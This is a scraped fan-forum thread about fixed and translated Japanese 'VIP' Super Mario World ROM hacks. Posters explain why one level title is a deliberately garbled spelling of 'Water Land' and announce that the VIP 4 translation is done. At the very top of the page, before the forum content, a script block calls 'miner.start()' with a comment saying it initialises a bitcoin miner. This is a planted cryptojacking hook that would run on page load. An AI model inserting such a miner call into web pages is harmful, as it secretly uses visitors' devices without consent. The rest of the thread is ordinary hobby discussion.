<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectsmbx community

Fixed and Translated hacks

wanna make a game, or anything else? seminal bloom!
Jongseok
Posts: 323
Joined: 3 years ago
Location: Seoul, Korea

Re: Fixed and Translated hacks

Postby Jongseok » 2 months ago

Thanks for translating and revising Mix 5. Vip Mario 5 becomes an ancient romhack. But it was always beautiful or difficult game. I think one level's title is not translated.
Image

The English version of MIX5 is the best translation hack when it is fixed.

User avatar
Ryrir
Posts: 469
Joined: 5 years ago
Pronouns: he/him/his
Location: Switzerland

Re: Fixed and Translated hacks

Postby Ryrir » 2 months ago

Jongseok wrote: Thanks for translating and revising Mix 5. Vip Mario 5 becomes an ancient romhack. But it was always beautiful or difficult game. I think one level's title is not translated.
Hi! Thanks for playing our translation, I'm glad that you're enjoying it so far :catplanet:

That level name is kind of a weird one: It's supposed to be a corrupted spelling of the name "Water Land".
This seems to be a sort of pattern with some level names in the VIP series, where (in Japanese) a normal level name is written in a 'corrupted' way - maybe as a way to indicate internet slang where correct grammar and spelling don't matter.
Another example would be the "Red Switch Palace" in VIP 3, which we translated as "Reh-t Swih-tsj Peh-less". Try sounding out these level names in your head, and you may see where we're coming from!

I hope you continue to have a good time with VIP 5!
this is getting laundromatic

User avatar
KobaBeach
arc the lad
Posts: 1082
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: Fixed and Translated hacks

Postby KobaBeach » 2 months ago

It isn't really a pattern of VIP or slang, I can only remember this and the phonetic Switch Palace to do that. It seems to just be just a stylistic choice keeping in with the "shitposter vibes".

The original level title is をーたーらんD. Written normally it would be ウォーターランド, in katakana. Though I suppose you could also write it in hiragana (うぉーたーらんど) exclusively for stylistic reasons, not for normal uses of foreign words and loanwords in Japanese, it could cause confusion.

As an additional fun fact, Water Land is also the Japanese name of Dire Dire Docks. In Korean (SM64DS), it's 워터랜드.
The connection is not on purpose, however.

I hope my English is clear enough for you to understand orz
I cannot speak Korean :c
Though I'd love to learn it, Hangul seems like a lovely system ^ω^
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
PlatformKing72
A Seasoned JUMPist
Posts: 19
Joined: 3 months ago
Location: The Nutshack

Re: Fixed and Translated hacks

Postby PlatformKing72 » 2 months ago

So how's the translation of VIP Mix 4 going?
:demo: Can there please be a JUMP X when SMBX2 Beta 4 officially releases :iris:

Jongseok
Posts: 323
Joined: 3 years ago
Location: Seoul, Korea

Re: Fixed and Translated hacks

Postby Jongseok » 2 months ago

KobaBeach wrote: It isn't really a pattern of VIP or slang, I can only remember this and the phonetic Switch Palace to do that. It seems to just be just a stylistic choice keeping in with the "shitposter vibes".

The original level title is をーたーらんD. Written normally it would be ウォーターランド, in katakana. Though I suppose you could also write it in hiragana (うぉーたーらんど) exclusively for stylistic reasons, not for normal uses of foreign words and loanwords in Japanese, it could cause confusion.

As an additional fun fact, Water Land is also the Japanese name of Dire Dire Docks. In Korean (SM64DS), it's 워터랜드.
The connection is not on purpose, however.

I hope my English is clear enough for you to understand orz
I cannot speak Korean :c
Though I'd love to learn it, Hangul seems like a lovely system ^ω^
Thank you for your interest in Hangul.
Now I completely understood the title 'Water Land'. Because I can read Japanese. You mean the original level name is ウォーターランド[D](Wo-ta-Rando[D]). Correct?? So that's why your translation team wrote like this. I was confused by the uppercase letter 'D' in 'LenD'. I thought it was an error or something..

User avatar
KobaBeach
arc the lad
Posts: 1082
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: Fixed and Translated hacks

Postby KobaBeach » 2 months ago

をーたーらんD but yes!
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

AWMonopolyMan
Posts: 2
Joined: 1 month ago

Re: Fixed and Translated hacks

Postby AWMonopolyMan » 1 month ago

Personally, I hope to see the 2nd Scarlet Devil Mario (Reimu's Challenge), fixed & translated myself one day. ;)

User avatar
This Eye o' Mine
Posts: 162
Joined: 1 year ago
Pronouns: Nah, I'm good
Location: Ooh, yes please

Re: Fixed and Translated hacks

Postby This Eye o' Mine » 5 days ago

UPDATE:
PlatformKing72 wrote: So how's the translation of VIP Mix 4 going?
Sorry about not replying earlier, but VIP 4 has finally been finished and it's up now.
Image
Image
Image


Return to “project showcase”

Who is online

Users browsing this forum: No registered users and 1 guest